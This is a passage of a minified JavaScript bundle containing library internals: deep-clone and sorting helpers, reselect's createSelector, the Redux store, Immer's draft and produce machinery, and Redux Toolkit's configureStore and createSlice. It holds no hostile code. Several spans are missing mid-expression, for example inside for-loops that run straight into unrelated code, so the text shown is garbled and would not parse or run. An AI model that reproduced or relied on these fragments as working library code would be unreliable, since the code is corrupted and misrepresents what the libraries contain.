BigUint64Array]",M="[object Int8Array]",P="[object Int16Array]",R="[object Int32Array]",I="[object BigInt64Array]",B="[object Float32Array]",q="[object Float64Array]";e.argumentsTag=l,e.arrayBufferTag=y,e.arrayTag=p,e.bigInt64ArrayTag=I,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=w,e.dateTag=u,e.errorTag=S,e.float32ArrayTag=B,e.float64ArrayTag=q,e.functionTag=m,e.int16ArrayTag=P,e.int32ArrayTag=R,e.int8ArrayTag=M,e.mapTag=f,e.numberTag=r,e.objectTag=x,e.regexpTag=t,e.setTag=h,e.stringTag=n,e.symbolTag=c,e.uint16ArrayTag=_,e.uint32ArrayTag=T,e.uint8ArrayTag=O,e.uint8ClampedArrayTag=A})(ty)),ty}var ny={},XC;function zF(){return XC||(XC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(ny)),ny}var ZC;function CR(){return ZC||(ZC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=IF(),n=ER(),r=AR(),i=wR(),l=zF();function c(p,m){return u(p,void 0,p,new Map,m)}function u(p,m,y,x=new Map,S=void 0){const w=S?.(p,m,y,x);if(w!==void 0)return w;if(i.isPrimitive(p))return p;if(x.has(p))return x.get(p);if(Array.isArray(p)){const O=new Array(p.length);x.set(p,O);for(let A=0;At.isMatch(l,i)}e.matches=r})(Vg)),Vg}var ry={},ay={},iy={},e_;function UF(){return e_||(e_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=CR(),n=AR();function r(i,l){return t.cloneDeepWith(i,(c,u,f,h)=>{const p=l?.(c,u,f,h);if(p!==void 0)return p;if(typeof i=="object")switch(Object.prototype.toString.call(i)){case n.numberTag:case n.stringTag:case n.booleanTag:{const m=new i.constructor(i?.valueOf());return t.copyProperties(m,i),m}case n.argumentsTag:{const m={};return t.copyProperties(m,i),m.length=i.length,m[Symbol.iterator]=i[Symbol.iterator],m}default:return}})}e.cloneDeepWith=r})(iy)),iy}var t_;function HF(){return t_||(t_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=UF();function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(ay)),ay}var oy={},ly={},n_;function _R(){return n_||(n_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&re,ft=()=>{var e=v.useContext(hx);return e?e.store.dispatch:eV},dd=()=>{},tV=()=>dd,nV=(e,t)=>e===t;function we(e){var t=v.useContext(hx);return JF.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:tV,t?t.store.getState:dd,t?t.store.getState:dd,t?e:dd,nV)}function rV(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function aV(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function iV(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var d_=e=>Array.isArray(e)?e:[e];function oV(e){const t=Array.isArray(e[0])?e[0]:e;return iV(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function lV(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Kf(),c.resetResultsCount()},c.resultsCount=()=>l,c.resetResultsCount=()=>{l=0},c}function fV(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let l=0,c=0,u,f={},h=i.pop();typeof h=="object"&&(f=h,h=i.pop()),rV(h,`createSelector expects an output function after the inputs, but received: [${typeof h}]`);const p={...n,...f},{memoize:m,memoizeOptions:y=[],argsMemoize:x=TR,argsMemoizeOptions:S=[]}=p,w=d_(y),O=d_(S),A=oV(i),_=m(function(){return l++,h.apply(null,arguments)},...w),T=x(function(){c++;const M=lV(A,arguments);return u=_.apply(null,M),u},...O);return Object.assign(T,{resultFunc:h,memoizedResultFunc:_,dependencies:A,dependencyRecomputations:()=>c,resetDependencyRecomputations:()=>{c=0},lastResult:()=>u,recomputations:()=>l,resetRecomputations:()=>{l=0},memoize:m,argsMemoize:x})};return Object.assign(r,{withTypes:()=>r}),r}var G=fV(TR),dV=Object.assign((e,t=G)=>{aV(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(l=>e[l]);return t(r,(...l)=>l.reduce((c,u,f)=>(c[n[f]]=u,c),{}))},{withTypes:()=>dV}),dy={},hy={},py={},p_;function hV(){return p_||(p_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,l)=>{if(r!==i){const c=t(r),u=t(i);if(c===u&&c===0){if(ri)return l==="desc"?-1:1}return l==="desc"?u-c:c-u}return 0};e.compareValues=n})(py)),py}var my={},vy={},m_;function NR(){return m_||(m_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(vy)),vy}var v_;function pV(){return v_||(v_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=NR(),n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(l,c){return Array.isArray(l)?!1:typeof l=="number"||typeof l=="boolean"||l==null||t.isSymbol(l)?!0:typeof l=="string"&&(r.test(l)||!n.test(l))||c!=null&&Object.hasOwn(c,l)}e.isKey=i})(my)),my}var g_;function mV(){return g_||(g_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=hV(),n=pV(),r=ux();function i(l,c,u,f){if(l==null)return[];u=f?void 0:u,Array.isArray(l)||(l=Object.values(l)),Array.isArray(c)||(c=c==null?[null]:[c]),c.length===0&&(c=[null]),Array.isArray(u)||(u=u==null?[]:[u]),u=u.map(x=>String(x));const h=(x,S)=>{let w=x;for(let O=0;OS==null||x==null?S:typeof x=="object"&&"key"in x?Object.hasOwn(S,x.key)?S[x.key]:h(S,x.path):typeof x=="function"?x(S):Array.isArray(x)?h(S,x):typeof S=="object"?S[x]:S,m=c.map(x=>(Array.isArray(x)&&x.length===1&&(x=x[0]),x==null||typeof x=="function"||Array.isArray(x)||n.isKey(x)?x:{key:x,path:r.toPath(x)}));return l.map(x=>({original:x,criteria:m.map(S=>p(S,x))})).slice().sort((x,S)=>{for(let w=0;wx.original)}e.orderBy=i})(hy)),hy}var gy={},y_;function vV(){return y_||(y_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],l=Math.floor(r),c=(u,f)=>{for(let h=0;h1&&r.isIterateeCall(l,c[0],c[1])?c=[]:u>2&&r.isIterateeCall(c[0],c[1],c[2])&&(c=[c[0]]),t.orderBy(l,n.flatten(c),["asc"])}e.sortBy=i})(dy)),dy}var by,w_;function yV(){return w_||(w_=1,by=gV().sortBy),by}var bV=yV();const Xh=Vr(bV);var jR=e=>e.legend.settings,xV=e=>e.legend.size,wV=e=>e.legend.payload;G([wV,jR],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?Xh(r,n):r});var Yf=1;function SV(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=v.useState({height:0,left:0,top:0,width:0}),r=v.useCallback(i=>{if(i!=null){var l=i.getBoundingClientRect(),c={height:l.height,left:l.left,top:l.top,width:l.width};(Math.abs(c.height-t.height)>Yf||Math.abs(c.left-t.left)>Yf||Math.abs(c.top-t.top)>Yf||Math.abs(c.width-t.width)>Yf)&&n({height:c.height,left:c.left,top:c.top,width:c.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function Qt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var OV=typeof Symbol=="function"&&Symbol.observable||"@@observable",S_=OV,xy=()=>Math.random().toString(36).substring(7).split("").join("."),EV={INIT:`@@redux/INIT${xy()}`,REPLACE:`@@redux/REPLACE${xy()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${xy()}`},kd=EV;function px(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function PR(e,t,n){if(typeof e!="function")throw new Error(Qt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(Qt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(Qt(1));return n(PR)(e,t)}let r=e,i=t,l=new Map,c=l,u=0,f=!1;function h(){c===l&&(c=new Map,l.forEach((O,A)=>{c.set(A,O)}))}function p(){if(f)throw new Error(Qt(3));return i}function m(O){if(typeof O!="function")throw new Error(Qt(4));if(f)throw new Error(Qt(5));let A=!0;h();const _=u++;return c.set(_,O),function(){if(A){if(f)throw new Error(Qt(6));A=!1,h(),c.delete(_),l=null}}}function y(O){if(!px(O))throw new Error(Qt(7));if(typeof O.type>"u")throw new Error(Qt(8));if(typeof O.type!="string")throw new Error(Qt(17));if(f)throw new Error(Qt(9));try{f=!0,i=r(i,O)}finally{f=!1}return(l=c).forEach(_=>{_()}),O}function x(O){if(typeof O!="function")throw new Error(Qt(10));r=O,y({type:kd.REPLACE})}function S(){const O=m;return{subscribe(A){if(typeof A!="object"||A===null)throw new Error(Qt(11));function _(){const j=A;j.next&&j.next(p())}return _(),{unsubscribe:O(_)}},[S_](){return this}}}return y({type:kd.INIT}),{dispatch:y,subscribe:m,getState:p,replaceReducer:x,[S_]:S}}function AV(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:kd.INIT})>"u")throw new Error(Qt(12));if(typeof n(void 0,{type:kd.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(Qt(13))})}function RR(e){const t=Object.keys(e),n={};for(let l=0;l"u")throw u&&u.type,new Error(Qt(14));h[m]=S,f=f||S!==x}return f=f||r.length!==Object.keys(c).length,f?h:c}}function Ld(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function CV(...e){return t=>(n,r)=>{const i=t(n,r);let l=()=>{throw new Error(Qt(15))};const c={getState:i.getState,dispatch:(f,...h)=>l(f,...h)},u=e.map(f=>f(c));return l=Ld(...u)(i.dispatch),{...i,dispatch:l}}}function DR(e){return px(e)&&"type"in e&&typeof e.type=="string"}var kR=Symbol.for("immer-nothing"),O_=Symbol.for("immer-draftable"),dn=Symbol.for("immer-state");function br(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Bn=Object,Dl=Bn.getPrototypeOf,Id="constructor",Zh="prototype",j0="configurable",zd="enumerable",hd="writable",Cc="value",Aa=e=>!!e&&!!e[dn];function Ar(e){return e?LR(e)||Qh(e)||!!e[O_]||!!e[Id]?.[O_]||Jh(e)||ep(e):!1}var _V=Bn[Zh][Id].toString(),E_=new WeakMap;function LR(e){if(!e||!mx(e))return!1;const t=Dl(e);if(t===null||t===Bn[Zh])return!0;const n=Bn.hasOwnProperty.call(t,Id)&&t[Id];if(n===Object)return!0;if(!Sl(n))return!1;let r=E_.get(n);return r===void 0&&(r=Function.toString.call(n),E_.set(n,r)),r===_V}function Wc(e,t,n=!0){Xc(e)===0?(n?Reflect.ownKeys(e):Bn.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Xc(e){const t=e[dn];return t?t.type_:Qh(e)?1:Jh(e)?2:ep(e)?3:0}var A_=(e,t,n=Xc(e))=>n===2?e.has(t):Bn[Zh].hasOwnProperty.call(e,t),P0=(e,t,n=Xc(e))=>n===2?e.get(t):e[t],$d=(e,t,n,r=Xc(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function TV(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var Qh=Array.isArray,Jh=e=>e instanceof Map,ep=e=>e instanceof Set,mx=e=>typeof e=="object",Sl=e=>typeof e=="function",wy=e=>typeof e=="boolean";function NV(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var pa=e=>e.copy_||e.base_,vx=e=>e.modified_?e.copy_:e.base_;function R0(e,t){if(Jh(e))return new Map(e);if(ep(e))return new Set(e);if(Qh(e))return Array[Zh].slice.call(e);const n=LR(e);if(t===!0||t==="class_only"&&!n){const r=Bn.getOwnPropertyDescriptors(e);delete r[dn];let i=Reflect.ownKeys(r);for(let l=0;l1&&Bn.defineProperties(e,{set:Gf,add:Gf,clear:Gf,delete:Gf}),Bn.freeze(e),t&&Wc(e,(n,r)=>{gx(r,!0)},!1)),e}function MV(){br(2)}var Gf={[Cc]:MV};function tp(e){return e===null||!mx(e)?!0:Bn.isFrozen(e)}var Bd="MapSet",D0="Patches",C_="ArrayMethods",IR={};function uo(e){const t=IR[e];return t||br(0,e),t}var __=e=>!!IR[e],_c,zR=()=>_c,jV=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:__(Bd)?uo(Bd):void 0,arrayMethodsPlugin_:__(C_)?uo(C_):void 0});function T_(e,t){t&&(e.patchPlugin_=uo(D0),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function k0(e){L0(e),e.drafts_.forEach(PV),e.drafts_=null}function L0(e){e===_c&&(_c=e.parent_)}var N_=e=>_c=jV(_c,e);function PV(e){const t=e[dn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function M_(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[dn].modified_&&(k0(t),br(4)),Ar(e)&&(e=j_(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[dn].base_,e,t)}else e=j_(t,n);return RV(t,e,!0),k0(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==kR?e:void 0}function j_(e,t){if(tp(t))return t;const n=t[dn];if(!n)return yx(t,e.handledSet_,e);if(!np(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);UR(n,e)}return n.copy_}function RV(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&gx(t,n)}function $R(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var np=(e,t)=>e.scope_===t,DV=[];function BR(e,t,n,r){const i=pa(e),l=e.type_;if(r!==void 0&&P0(i,r,l)===t){$d(i,r,n,l);return}if(!e.draftLocations_){const u=e.draftLocations_=new Map;Wc(i,(f,h)=>{if(Aa(h)){const p=u.get(h)||[];p.push(f),u.set(h,p)}})}const c=e.draftLocations_.get(t)??DV;for(const u of c)$d(i,u,n,l)}function kV(e,t,n){e.callbacks_.push(function(i){const l=t;if(!l||!np(l,i))return;i.mapSetPlugin_?.fixSetContents(l);const c=vx(l);BR(e,l.draft_??l,c,n),UR(l,i)})}function UR(e,t){if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(e.assigned_?.size??0)>0)){const{patchPlugin_:r}=t;if(r){const i=r.getPath(e);i&&r.generatePatches_(e,i,t)}$R(e)}}function LV(e,t,n){const{scope_:r}=e;if(Aa(n)){const i=n[dn];np(i,r)&&i.callbacks_.push(function(){pd(e);const c=vx(i);BR(e,n,c,t)})}else Ar(n)&&e.callbacks_.push(function(){const l=pa(e);P0(l,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&yx(P0(e.copy_,t,e.type_),r.handledSet_,r)})}function yx(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Aa(e)||t.has(e)||!Ar(e)||tp(e)||(t.add(e),Wc(e,(r,i)=>{if(Aa(i)){const l=i[dn];if(np(l,n)){const c=vx(l);$d(e,r,c,e.type_),$R(l)}}else Ar(i)&&yx(i,t,n)})),e}function IV(e,t){const n=Qh(e),r={type_:n?1:0,scope_:t?t.scope_:zR(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,l=bx;n&&(i=[r],l=Tc);const{revoke:c,proxy:u}=Proxy.revocable(i,l);return r.draft_=u,r.revoke_=c,[u,r]}var bx={get(e,t){if(t===dn)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n?.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=pa(e);if(!A_(i,t,e.type_))return zV(e,i,t);const l=i[t];if(e.finalized_||!Ar(l)||r&&e.operationMethod&&n?.isMutatingArrayMethod(e.operationMethod)&&NV(t))return l;if(l===Sy(e.base_,t)){pd(e);const c=e.type_===1?+t:t,u=z0(e.scope_,l,e,c);return e.copy_[c]=u}return l},has(e,t){return t in pa(e)},ownKeys(e){return Reflect.ownKeys(pa(e))},set(e,t,n){const r=HR(pa(e),t);if(r?.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Sy(pa(e),t),l=i?.[dn];if(l&&l.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(TV(n,i)&&(n!==void 0||A_(e.base_,t,e.type_)))return!0;pd(e),I0(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),LV(e,t,n)),!0},deleteProperty(e,t){return pd(e),Sy(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),I0(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=pa(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[hd]:!0,[j0]:e.type_!==1||t!=="length",[zd]:r[zd],[Cc]:n[t]}},defineProperty(){br(11)},getPrototypeOf(e){return Dl(e.base_)},setPrototypeOf(){br(12)}},Tc={};Wc(bx,(e,t)=>{Tc[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}});Tc.deleteProperty=function(e,t){return Tc.set.call(this,e,t,void 0)};Tc.set=function(e,t,n){return bx.set.call(this,e[0],t,n,e[0])};function Sy(e,t){const n=e[dn];return(n?pa(n):e)[t]}function zV(e,t,n){const r=HR(t,n);return r?Cc in r?r[Cc]:r.get?.call(e.draft_):void 0}function HR(e,t){if(!(t in e))return;let n=Dl(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Dl(n)}}function I0(e){e.modified_||(e.modified_=!0,e.parent_&&I0(e.parent_))}function pd(e){e.copy_||(e.assigned_=new Map,e.copy_=R0(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var $V=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(Sl(n)&&!Sl(r)){const c=r;r=n;const u=this;return function(h=c,...p){return u.produce(h,m=>r.call(this,m,...p))}}Sl(r)||br(6),i!==void 0&&!Sl(i)&&br(7);let l;if(Ar(n)){const c=N_(this),u=z0(c,n,void 0);let f=!0;try{l=r(u),f=!1}finally{f?k0(c):L0(c)}return T_(c,i),M_(l,c)}else if(!n||!mx(n)){if(l=r(n),l===void 0&&(l=n),l===kR&&(l=void 0),this.autoFreeze_&&gx(l,!0),i){const c=[],u=[];uo(D0).generateReplacementPatches_(n,l,{patches_:c,inversePatches_:u}),i(c,u)}return l}else br(1,n)},this.produceWithPatches=(n,r)=>{if(Sl(n))return(u,...f)=>this.produceWithPatches(u,h=>n(h,...f));let i,l;return[this.produce(n,r,(u,f)=>{i=u,l=f}),i,l]},wy(t?.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),wy(t?.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),wy(t?.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Ar(t)||br(8),Aa(t)&&(t=Sr(t));const n=N_(this),r=z0(n,t,void 0);return r[dn].isManual_=!0,L0(n),r}finishDraft(t,n){const r=t&&t[dn];(!r||!r.isManual_)&&br(9);const{scope_:i}=r;return T_(i,n),M_(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const l=n[r];if(l.path.length===0&&l.op==="replace"){t=l.value;break}}r>-1&&(n=n.slice(r+1));const i=uo(D0).applyPatches_;return Aa(t)?i(t,n):this.produce(t,l=>i(l,n))}};function z0(e,t,n,r){const[i,l]=Jh(t)?uo(Bd).proxyMap_(t,n):ep(t)?uo(Bd).proxySet_(t,n):IV(t,n);return(n?.scope_??zR()).drafts_.push(i),l.callbacks_=n?.callbacks_??[],l.key_=r,n&&r!==void 0?kV(n,l,r):l.callbacks_.push(function(f){f.mapSetPlugin_?.fixSetContents(l);const{patchPlugin_:h}=f;l.modified_&&h&&h.generatePatches_(l,[],f)}),i}function Sr(e){return Aa(e)||br(10,e),qR(e)}function qR(e){if(!Ar(e)||tp(e))return e;const t=e[dn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=R0(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=R0(e,!0);return Wc(n,(i,l)=>{$d(n,i,qR(l))},r),t&&(t.finalized_=!1),n}var BV=new $V,FR=BV.produce;function VR(e){return({dispatch:n,getState:r})=>i=>l=>typeof l=="function"?l(n,r,e):i(l)}var UV=VR(),HV=VR,qV=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?Ld:Ld.apply(null,arguments)};function fr(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(Hn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>DR(r)&&r.type===e,n}var KR=class pc extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,pc.prototype)}static get[Symbol.species](){return pc}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new pc(...t[0].concat(this)):new pc(...t.concat(this))}};function P_(e){return Ar(e)?FR(e,()=>{}):e}function Wf(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function FV(e){return typeof e=="boolean"}var VV=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:l=!0}=t??{};let c=new KR;return n&&(FV(n)?c.push(UV):c.push(HV(n.extraArgument))),c},YR="RTK_autoBatch",ct=()=>e=>({payload:e,meta:{[YR]:!0}}),R_=e=>t=>{setTimeout(t,e)},GR=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,l=!1,c=!1;const u=new Set,f=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:R_(10):e.type==="callback"?e.queueNotification:R_(e.timeout),h=()=>{c=!1,l&&(l=!1,u.forEach(p=>p()))};return Object.assign({},r,{subscribe(p){const m=()=>i&&p(),y=r.subscribe(m);return u.add(p),()=>{y(),u.delete(p)}},dispatch(p){try{return i=!p?.meta?.[YR],l=!i,l&&(c||(c=!0,f(h))),r.dispatch(p)}finally{i=!0}}})},KV=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new KR(e);return r&&i.push(GR(typeof r=="object"?r:void 0)),i};function YV(e){const t=VV(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:l=void 0,enhancers:c=void 0}=e||{};let u;if(typeof n=="function")u=n;else if(px(n))u=RR(n);else throw new Error(Hn(1));let f;typeof r=="function"?f=r(t):f=t();let h=Ld;i&&(h=qV({trace:!1,...typeof i=="object"&&i}));const p=CV(...f),m=KV(p);let y=typeof c=="function"?c(m):m();const x=h(...y);return PR(u,l,x)}function WR(e){const t={},n=[];let r;const i={addCase(l,c){const u=typeof l=="string"?l:l.type;if(!u)throw new Error(Hn(28));if(u in t)throw new Error(Hn(29));return t[u]=c,i},addAsyncThunk(l,c){return c.pending&&(t[l.pending.type]=c.pending),c.rejected&&(t[l.rejected.type]=c.rejected),c.fulfilled&&(t[l.fulfilled.type]=c.fulfilled),c.settled&&n.push({matcher:l.settled,reducer:c.settled}),i},addMatcher(l,c){return n.push({matcher:l,reducer:c}),i},addDefaultCase(l){return r=l,i}};return e(i),[t,n,r]}function GV(e){return typeof e=="function"}function WV(e,t){let[n,r,i]=WR(t),l;if(GV(e))l=()=>P_(e());else{const u=P_(e);l=()=>u}function c(u=l(),f){let h=[n[f.type],...r.filter(({matcher:p})=>p(f)).map(({reducer:p})=>p)];return h.filter(p=>!!p).length===0&&(h=[i]),h.reduce((p,m)=>{if(m)if(Aa(p)){const x=m(p,f);return x===void 0?p:x}else{if(Ar(p))return FR(p,y=>m(y,f));{const y=m(p,f);if(y===void 0){if(p===null)return p;throw Error("A case reducer on a non-draftable value must not return undefined")}return y}}return p},u)}return c.getInitialState=l,c}var XV="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",ZV=(e=21)=>{let t="",n=e;for(;n--;)t+=XV[Math.random()*64|0];return t},QV=Symbol.for("rtk-slice-createasyncthunk");function JV(e,t){return`${e}/${t}`}function eK({creators:e}={}){const t=e?.asyncThunk?.[QV];return function(r){const{name:i,reducerPath:l=i}=r;if(!i)throw new Error(Hn(11));const c=(typeof r.reducers=="function"?r.reducers(nK()):r.reducers)||{},u=Object.keys(c),f={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},h={addCase(T,j){const M=typeof T=="string"?T:T.type;if(!M)throw new Error(Hn(12));if(M in f.sliceCaseReducersByType)throw new Error(Hn(13));return f.sliceCaseReducersByType[M]=j,h},addMatcher(T,j){return f.sliceMatchers.push({matcher:T,reducer:j}),h},exposeAction(T,j){return f.actionCreators[T]=j,h},exposeCaseReducer(T,j){return f.sliceCaseReducersByName[T]=j,h}};u.forEach(T=>{const j=c[T],M={reducerName:T,type:JV(i,T),createNotation:typeof r.reducers=="function"};aK(j)?oK(M,j,h,t):rK(M,j,h)});function p(){const[T={},j=[],M=void 0]=typeof r.extraReducers=="function"?WR(r.extraReducers):[r.extraReducers],P={...T,...f.sliceCaseReducersByType};return WV(r.initialState,R=>{for(let I in P)R.addCase(I,P[I]);for(let I of f.sliceMatchers)R.addMatcher(I.matcher,I.reducer);for(let I of j)R.addMatcher(I.matcher,I.reducer);M&&R.addDefaultCase(M)})}const m=T=>T,y=new Map,x=new WeakMap;let S;function w(T,j){return S||(S=p()),S(T,j)}function O(){return S||(S=p()),S.getInitialState()}function A(T,j=!1){function M(R){let I=R[T];return typeof I>"u"&&j&&(I=Wf(x,M,O)),I}function P(R=m){const I=Wf(y,j,()=>new WeakMap);return Wf(I,R,()=>{const B={};for(const[q,U]of Object.entries(r.selectors??{}))B[q]=tK(U,R,()=>Wf(x,R,O),j);return B})}return{reducerPath:T,getSelectors:P,get selectors(){return P(M)},selectSlice:M}}const _={name:i,reducer:w,actions:f.actionCreators,caseReducers:f.sliceCaseReducersByName,getInitialState:O,...A(l),injectInto(T,{reducerPath:j,...M}={}){const P=j??l;return T.inject({reducerPath:P,reducer:w},M),{..._,...A(P,!0)}}};return _}}function tK(e,t,n,r){function i(l,...c){let u=t(l);return typeof u>"u"&&r&&(u=n()),e(u,...c)}return i.unwrapped=e,i}var An=eK();function nK(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function rK({type:e,reducerName:t,createNotation:n},r,i){let l,c;if("reducer"in r){if(n&&!iK(r))throw new Error(Hn(17));l=r.reducer,c=r.prepare}else l=r;i.addCase(e,l).exposeCaseReducer(t,l).exposeAction(t,c?fr(e,c):fr(e))}function aK(e){return e._reducerDefinitionType==="asyncThunk"}function iK(e){return e._reducerDefinitionType==="reducerWithPrepare"}function oK({type:e,reducerName:t},n,r,i){if(!i)throw new Error(Hn(18));const{payloadCreator:l,fulfilled:c,pending:u,rejected:f,settled:h,options:p}=n,m=i(e,l,p);r.exposeAction(t,m),c&&r.addCase(m.fulfilled,c),u&&r.addCase(m.pending,u),f&&r.addCase(m.rejected,f),h&&r.addMatcher(m.settled,h),r.exposeCaseReducer(t,{fulfilled:c||Xf,pending:u||Xf,rejected:f||Xf,settled:h||Xf})}function Xf(){}var 